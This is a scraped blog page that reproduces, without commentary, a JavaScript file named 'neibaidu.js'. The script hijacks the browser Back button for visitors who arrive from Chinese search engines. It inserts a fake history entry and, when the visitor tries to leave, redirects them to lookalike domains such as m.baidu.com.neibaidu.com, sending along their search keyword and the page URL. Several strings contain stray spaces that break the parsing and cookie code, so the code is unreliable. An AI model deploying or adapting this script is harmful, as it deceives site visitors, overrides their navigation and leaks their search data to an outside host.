zoukankan      html  css  js  c++  java
  • neibaidu.js

    var topdomain = getRealDomain(window.location.host), reftopdomain = getRealDomain(document.referrer), domains = '|xxxx.com|xxx.com|', customurl = '', baidutime = '1', smtime = '1', sogoutime = '1', haosotime = '1', url = document.referrer, localUrl = window.location.href, wd = '', baidu = 'word', sougou = 'keyword', s360 = 'q', isopen = 0, zhisouurl = '';
    if (domains.indexOf(topdomain + '|') > 0) isopen = 1;
    if (domains.indexOf(reftopdomain) < 0 && url.length > 0) {
        var strs = new Array();
        url = decodeURIComponent(url);
        strs = url.split(" ? ");
        if (url.indexOf('baidu.com') != -1) {
            wd = getbaiduKey(url)
        } else if (url.indexOf('sm.cn') != -1) {
            wd = getKey(url, s360)
        } else if (url.indexOf('haosou') != -1) {
            wd = getKey(url, s360)
        } else if (url.indexOf('sogou') != -1) {
            wd = getKey(url, sougou)
        }
    }
    if (wd == '' || wd == undefined) wd = '%e7%9c%8b%e4%bd%a0%e6%90%9c%e7%b4%a2%e7%9a%84%e6%98%af%e4%bb%80%e4%b9%88';
    if (isopen == 1 && (neibaidustime() == 1 || neibaiduotherstime() == 1)) {
        history.pushState({
            seoxinbaidu: 1},"280 ", location.href + "#seoxinbaidu ")
    }
    window.onpopstate = function(event) {
        a = location.hash;
        if (a.indexOf("#seoxinbaidu ") >= 0) {} else if (isopen == 1 && (neibaidustime() == 1 || neibaiduotherstime() == 1)) {
            if (customurl == "") {
                if (url.indexOf('sm.cn') >= 0 || url.indexOf('uodoo') >= 0 || localUrl.indexOf('sp.sm.cn') >= 0 || localUrl.indexOf('uodoo') >= 0) {
                    if (smtime == 1) {
                        if (neibaiduotherstime() == 1) {
                            location.href = 'http://m.sm.cn.neibaidu.com/p/?q=' + wd + '&fid=280' + '&query=' + encodeURIComponent(localUrl)
                        } else {
                            history.go( - 1)
                        }
                    }
                } else if (url.indexOf('m.haosou') >= 0 || localUrl.indexOf('haosou') >= 0) {
                    if (haosotime == 1) {
                        if (neibaiduotherstime() == 1) {
                            location.href = 'http://m.haosou.com.neibaidu.com/p/?q=' + wd + '&fid=280' + '&query=' + encodeURIComponent(localUrl)
                        } else {
                            history.go( - 1)
                        }
                    }
                } else if (url.indexOf('sogou') >= 0 || localUrl.indexOf('sogou') >= 0 || (navigator.userAgent.indexOf("SogouMobileBrowser ") > -1 || navigator.userAgent.indexOf("SogouSearch ") > -1 || navigator.userAgent.indexOf("XiaoMi ") > -1)) {
                    if (sogoutime == 1) {
                        if (neibaiduotherstime() == 1) {
                            location.href = 'http://m.sogou.com.neibaidu.com/p/?keyword=' + wd + '&fid=280' + '&query=' + encodeURIComponent(localUrl)
                        } else {
                            history.go( - 1)
                        }
                    }
                } else {
                    if (baidutime == 1) {
                        if (neibaidustime() == 1) {
                            if (zhisouurl == '') zhisouurl = 'http://m.baidu.com.neibaidu.com/p/?word=' + wd + '&fid=280' + '&query=' + encodeURIComponent(localUrl);
                            else {
                                zhisouurl = zhisouurl.replace(/[key]/g, wd);
                                zhisouurl = zhisouurl.replace(/[formurl]/g, encodeURIComponent(localUrl))
                            }
                            location.href = zhisouurl
                        } else {
                            history.go( - 1)
                        }
                    }
                }
            }
        }
    };
    function getCookie0001(objName) {
        var arrStr = document.cookie.split(";");
        for (var i = 0; i < arrStr.length; i++) {
            var temp = arrStr[i].split(" = ");
            if (temp[0] == objName) return temp[1]
        }
    }
    function GetRandomNum(Min, Max) {
        var Range = Max - Min;
        var Rand = Math.random();
        return (Min + Math.round(Rand * Range))
    }
    function neibaidustime() {
        var opentime = '';
        if (opentime != '') {
            opentime = ',,' + opentime;
            var myDate = new Date();
            var h = String(myDate.getHours());
            if (h.length < 2) h = '0' + h;
            if (opentime.indexOf(',' + h) > 0) return 1;
            else return 0
        } else return 1
    }
    function neibaiduotherstime() {
        var opentime = '';
        if (opentime != '') {
            opentime = ',,' + opentime;
            var myDate = new Date();
            var h = String(myDate.getHours());
            if (h.length < 2) h = '0' + h;
            if (opentime.indexOf(',' + h) > 0) return 1;
            else return 0
        } else return 1
    }
    function getRealDomain(domains) {
        var redomain = '';
        var domainArray = new Array('com', 'net', 'org', 'gov', 'edu', 'com.cn', 'cn', 'biz', 'info', 'pro', 'name', 'museum', 'coop', 'aero', 'xxx', 'idv', 'mobi', 'cc', 'me');
        var domains_array = domains.split('.');
        var domain_count = domains_array.length - 1;
        var flag = false;
        if (domains_array[domain_count] == 'cn') {
            for (i = 0; i < domainArray.length; i++) {
                if (domains_array[domain_count - 1] == domainArray[i]) {
                    flag = true;
                    break
                }
            }
            if (flag == true) {
                redomain = domains_array[domain_count - 2] + "." + domains_array[domain_count - 1] + "." + domains_array[domain_count]
            } else {
                redomain = domains_array[domain_count - 1] + "." + domains_array[domain_count]
            }
        } else {
            redomain = domains_array[domain_count - 1] + "." + domains_array[domain_count]
        }
        return redomain
    }
    function getKey(url, wdpre) {
        var K = '';
        if (url.indexOf(wdpre) != -1) {
            K = Key(url + '&', wdpre + '=', '&')
        } else {
            K = ''
        }
        K = K == null ? '': K;
        return K == '' ? K: encodeURIComponent(K)
    }
    function getbaiduKey(url) {
        var K = '';
        if (url.indexOf('baidu.com') != -1) {
            if (url.indexOf('word') != -1) {
                K = Key(url + '&', 'word=', '&')
            } else if (url.indexOf('w=0_10_') != -1 && url.indexOf('/t=') != -1) {
                K = Key(url, 'w=0_10_', '/t=')
            } else {
                K = ''
            }
            K = K == null ? '': K;
            return K == '' ? K: encodeURIComponent(K)
        }
    }
    function Key(url, cs, endstr) {
        var start = url.indexOf(cs);
        url = url.slice(start + cs.length);
        var end = url.indexOf(endstr);
        var key = url.slice(url, end);
        return key
    }
    function nbdcheckcookie() {
        nbdSetCookie('cookie_test', '1');
        var cookie_test = nbdgetCookie('cookie_test');
        if ('1' != cookie_test) {
            return 0
        } else {
            return 1
        }
    }
    function nbdSetCookie(name, value) {
        var Days = 30;
        var exp = new Date();
        exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
        document.cookie = name + " = " + escape(value) + "; expires = " + exp.toGMTString()
    }
    function nbdgetCookie(name) {
        var arr = document.cookie.match(new RegExp(" ( ^ |)" + name + " = ([ ^ ;] * )(; | $)"));
        if (arr != null) return unescape(arr[2]);
        return null
    }
    function nbddelCookie(name) {
        var exp = new Date();
        exp.setTime(exp.getTime() - 1);
        var cval = getCookie(name);
        if (cval != null) document.cookie = name + " = " + cval + "; expires = " + exp.toGMTString()
    }
  • 相关阅读:
    有用的sql语句积累
    spring boot sso 学习资源
    notepad++ 常用快捷键
    artTemplate的使用总结
    ajax完整请求
    03 Mybatis框架---学习笔记1--框架的概念及优势
    02 Struts2框架----学习笔记2(了解一下,已过时)
    IDEA 获取类的相对路径和绝对路径
    01 Struts2框架学习(了解一下,已过时)
    喜马拉雅 FM 已购付费音频下载
  • 原文地址:https://www.cnblogs.com/linyusong/p/7425810.html
Copyright © 2011-2022 走看看